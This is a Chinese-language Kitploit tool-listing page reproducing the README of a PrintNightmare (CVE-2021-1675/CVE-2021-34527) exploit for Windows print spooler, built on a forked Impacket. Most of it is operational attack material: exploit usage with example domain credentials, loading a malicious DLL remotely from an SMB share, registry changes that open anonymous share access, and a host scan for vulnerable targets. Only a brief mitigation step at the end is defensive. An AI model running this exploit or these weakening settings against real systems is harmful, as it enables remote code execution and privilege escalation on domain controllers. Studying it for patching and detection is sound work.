Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具，武装您的安全武器库！

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新，查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2021-1675 — # PrintNightmare CVE-2021-1675/CVE-2021-34527 的 C# 与 Impacket 实现 | Kitploit
工具/GitHubGitHub/ccordeiro/cve-2021-1675
权限提升Payload生成漏洞分析漏洞利用横向移动渗透测试
GitHubccordeiro/cve-2021-1675

CVE-2021-1675

# PrintNightmare CVE-2021-1675/CVE-2021-34527 的 C# 与 Impacket 实现

查看仓库
119个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2021-1675 / CVE-2021-34527

Impacket 对 PrintNightmare PoC 的实现，该 PoC 最初由 Zhiniang Peng (@edwardzpeng) 和 Xuefeng Li (@lxf02942370) 创建。

已在完全修补的 2019 域控制器上测试。

远程或本地执行恶意 DLL。

补丁更新

微软已发布补丁以缓解这些攻击，但如果机器上存在以下值，则该机器仍然容易受到攻击：

root@kitploit:~
REG QUERY "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint"

HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint
    RestrictDriverInstallationToAdministrators    REG_DWORD    0x0
    NoWarningNoElevationOnInstall    REG_DWORD    0x1

安装

在运行漏洞利用之前，你需要安装我版本的 Impacket，然后你就万事俱备了。

root@kitploit:~
pip3 uninstall impacket
git clone https://github.com/cube0x0/impacket
cd impacket
python3 ./setup.py install

CVE-2021-1675.py

root@kitploit:~
usage: CVE-2021-1675.py [-h] [-hashes LMHASH:NTHASH] [-target-ip ip address] [-port [destination port]] target share

CVE-2021-1675 实现。

positional arguments:
  target                [[domain/]username[:password]@]<targetName or address>
  share                 指向 DLL 的路径。例如 '\\10.10.10.10\share\evil.dll'

optional arguments:
  -h, --help            显示此帮助信息并退出

authentication:
  -hashes LMHASH:NTHASH
                        NTLM 哈希，格式为 LMHASH:NTHASH

connection:
  -target-ip ip address
                        目标机器的 IP 地址。如果省略，则使用 target 参数指定的内容。当 target 是 NetBIOS 名称且无法解析时，此参数非常有用。
  -port [destination port]
                        连接到 SMB 服务器的目标端口

示例：
./CVE-2021-1675.py hackit.local/domain_user:[email protected] '\\192.168.1.215\smb\addCube.dll'
./CVE-2021-1675.py hackit.local/domain_user:[email protected] 'C:\addCube.dll'

SMB 配置

托管 payloads 最简单的方法是使用 samba 并修改 /etc/samba/smb.conf 以允许匿名访问。

root@kitploit:~
[global]
    map to guest = Bad User
    server role = standalone server
    usershare allow guests = yes
    idmap config * : backend = tdb
    smb ports = 445

[smb]
    comment = Samba
    path = /tmp/
    guest ok = yes
    read only = no
    browsable = yes
    force user = smbuser

在 Windows 上也可以操作：

root@kitploit:~
mkdir C:\share
icacls C:\share\ /T /grant Anonymous` logon:r
icacls C:\share\ /T /grant Everyone:r
New-SmbShare -Path C:\share -Name share -ReadAccess 'ANONYMOUS LOGON','Everyone'
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionPipes /t REG_MULTI_SZ /d srvsvc /f #这将覆盖现有的 NullSessionPipes
REG ADD "HKLM\System\CurrentControlSet\Services\LanManServer\Parameters" /v NullSessionShares /t REG_MULTI_SZ /d share /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v EveryoneIncludesAnonymous /t REG_DWORD /d 1 /f
REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v RestrictAnonymous /t REG_DWORD /d 0 /f
# 重新启动

扫描

我们可以使用 Impacket 中的 rpcdump.py 来扫描潜在的易受攻击主机，如果返回了值，则可能易受攻击。

root@kitploit:~
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'

Protocol: [MS-PAR]: Print System Asynchronous Remote Protocol 
Protocol: [MS-RPRN]: Print System Remote Protocol

缓解措施

禁用后台打印程序服务。

root@kitploit:~
Stop-Service Spooler
REG ADD  "HKLM\SYSTEM\CurrentControlSet\Services\Spooler"  /v "Start" /t REG_DWORD /d "4" /f
下载工具